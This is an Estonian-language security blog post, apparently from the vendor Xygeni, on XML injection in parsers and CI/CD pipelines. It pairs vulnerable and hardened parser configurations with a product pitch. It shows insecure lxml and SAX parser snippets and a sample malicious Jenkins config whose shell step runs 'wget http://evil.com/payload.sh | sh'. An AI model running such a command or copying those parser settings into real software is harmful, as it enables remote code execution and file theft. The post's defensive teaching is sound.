Kuidas XML-süstimine muudab parserid rünnakupindadeks
Arendajad ei taipa sageli, kui kergesti XML-süstimine nende süsteeme rikkuda saab. Kui mõtlete, kuidas XML-süstimist vältida, on esimene samm teada, kus see ilmneb. Vaikimisi on paljud tänapäevaste programmeerimiskeelte XML-parsijad haavatavad. Kui edastate neile parsijatele kasutaja juhitavat sisendit, eriti ilma korraliku kaitseta, muudate lihtsa XML-protsessori rünnakuvektoriks.
See teebki XML-i süstimise nii ohtlikuks: see ei tugine teie koodi vigadele. See kasutab ära teie parseri konfigureerimist või valesti konfigureerimist. Selle mõistmine tähendab selliste funktsioonide nagu üksuste eraldamine, välised DTD-d ja XPath-parsimine riskideks muutumise õppimist.
Sa ei pea XML-i otseselt parsima. Süstimine kuvatakse konfiguratsioonifailides. pipeline definitsioonid, testiartefaktid ja kolmandate osapoolte tööriistad. Kui teie CI/CD Kui rakendus või äppide pinu sisaldab XML-i, peate teadma, kuidas seda ennetada, kui see tarneahela probleemiks muutub.
XML-i süstimise tegelikud rünnakuvektorid koodis ja Pipelines
Reaalse maailma XML-i haavatavused, mida arendajad ei märka
XML-süstimine jääb sageli avastamata, kuna peidab end usaldusväärsetes koodiradades:
- Üksuse laiendamine (miljard naeru)Kasutab süsteemide krahhimiseks ära parseri rekursiooni.
- Välised üksused (XXE): Loeb faile või pääseb juurde sisemistele teenustele.
- XPath süstimineManipuleerib XML-põhiste päringute loogikat.
Pythoni näide (XXE Risk)
⚠️Hoiatus: See kood võimaldab väliste üksuste lahendamist, muutes selle haavatavaks XXE rünnakute suhtes.
from lxml import etree parser = etree.XMLParser(resolve_entities=True) xml = etree.fromstring(user_input, parser) Java näide (üksuse laiendamine)
⚠️Hoiatus: See parser kasutab ohtlikke vaikeväärtusi, mida saab ära kasutada.
SAXParserFactory factory = SAXParserFactory.newInstance(); SAXParser parser = factory.newSAXParser(); parser.parse(inputStream, handler); CI/CD Näide:
⚠️Hoiatus: Ebaturvalise XML-i süstimine pipeline konfiguratsioonid võivad viia ärakasutamiseni.
<!-- Malicious Jenkins config.xml snippet --> <project> <builders> <hudson.tasks.Shell> <command>wget http://evil.com/payload.sh | sh</command> </hudson.tasks.Shell> </builders> </project> Kui neid sisendeid ei puhastata, olete just avanud ukse XML-i süstimiseks oma automatiseerimisvirna sees.
Miks vaikimisi XML-teegid teie CI/CD ohus
Enamik arendajaid ei tea, kuidas XML-i süstimist vältida, sest nad ei tea, et nende tööriistad üldse XML-i kasutavad. Populaarsed tööriistad nagu Maven, Jenkins ja mitmesugused juurutusraamistikud toetuvad endiselt suuresti XML-ile.
CI/CD Süstimispunktid:
- Maveni pom.xml
- Jenkinsi töökonfiguratsioonid (config.xml)
- XML-põhised Kubernetes'i kohandatud ressursid
- Pythoni või Java testikäitlejad, mis tuginevad XML-aruannetele
Asja teeb hullemaks see, et paljud avatud lähtekoodiga teegid kasutavad ohtlike vaikesätetega XML-parsereid, mis muudab XML-süstimisrünnakud reaalseks ohuks.
⚠️ Hoiatus: mõned pipelineparsib automaatselt XML-i ebausaldusväärsetest sisenditest (nt artefaktide üleslaadimised).
Pärast parsimist võivad ohtlike konstruktsioonidega XML-id:
- Juurdepääs sisemistele failidele
- Kaugkõnede käivitamine
- Töökäitumise muutmine
Sa pole mitte ainult ohustatud, vaid levitad rünnakupinda kõikjale. pipeline joosta.
⚠️Hoiatus: Nii allolevad serialiseerimise kui ka deserialiseerimise etapid käsitlevad potentsiaalselt ebausaldusväärseid andmeid ilma valideerimiseta.
Kuidas vältida süstimist turvalise parseri konfiguratsioonide abil
Ohutud tavad: kuidas süstimist vältida
Süstimise peatamiseks peate oma XML-parserit enne sisendi töötlemist kõvendama.
Java
// Secure XML parser config SAXParserFactory factory = SAXParserFactory.newInstance(); factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); factory.setFeature("http://xml.org/sax/features/external-general-entities", false); Python
# Safe alternative to vulnerable XML parsers from defusedxml.ElementTree import fromstring xml = fromstring(user_input) # Safe from XXE and entity expansion CI/CD Pipeline
- name: Scan XML inputs for DTDs run: | grep -r '<!DOCTYPE' . || echo "No unsafe XML detected" Parim harjutus: Skannige ja lükake alati tagasi XML-i, mis kasutab DOCTYPE- või ENTITY-deklaratsioone, välja arvatud juhul, kui see on otseselt vajalik. Need võtted on olulised, kui soovite süstimise lõpetada ja kindlusta oma DevOpsi elutsükkel.
Valekonfiguratsioonist tarneahela riskini: Xygeni roll
XML-i süstimist ei saa peatada, kui ei tea, kus teie XML-i töödeldakse. See on koht, kus... Xygeni teeb vahet.
Xygeni aitab meeskondi:
- XML-i kasutamise kaardistamine koodibaaside, versioonide ja käituskeskkondade vahel
- Tuvasta ohtlikud parseri konfiguratsioonid ja riskantne XML-failide käitlemine
- Tuvastage kolmandate osapoolte paketid, mis tutvustavad XML-i vaikset parsimist
- Manustage ohutud XML-valideerimispoliitikad otse sisse CI/CD pipelines
See ei puuduta ainult parseri parandamist. See seisneb selles, et te ei peaks enam kunagi küsima, kuidas te süstimise XML-vektori kahe silma vahele jätsite.
Parserite lukustamine: kuidas vältida XML-i süstimist kõikjal
XML-süstimine on tõsine oht isegi siis, kui te XML-iga otseselt ei tööta. See siseneb sageli vaikesätete, kolmandate osapoolte pakettide ja teie süsteemi tähelepanuta jäetud osade kaudu. pipeline.
Selle vastu kaitsmiseks:
- Tea, kuidas ja kus XML-i teie pinus parsitakse
- Rakenda tugevdatud konfiguratsioone ja valideeritud skeeme
- Jälgida pipelineohtlike XML-struktuuride jaoks
- Kasutage Xygeni't süstimise käigus tekkiva kokkupuute tuvastamiseks, jälgimiseks ja fikseerimiseks enne vabastamist.
Kui sa tõsiselt mõtled DevSecOpsi kohta, pead süstimisse tõsiselt suhtuma. Ja sa pead teadma, kuidas vältida XML-i süstimist oma pinu igas kihis. Turvake oma XML-i. Turvake oma pipelines. XML-i süstimise riski kõrvaldamine.






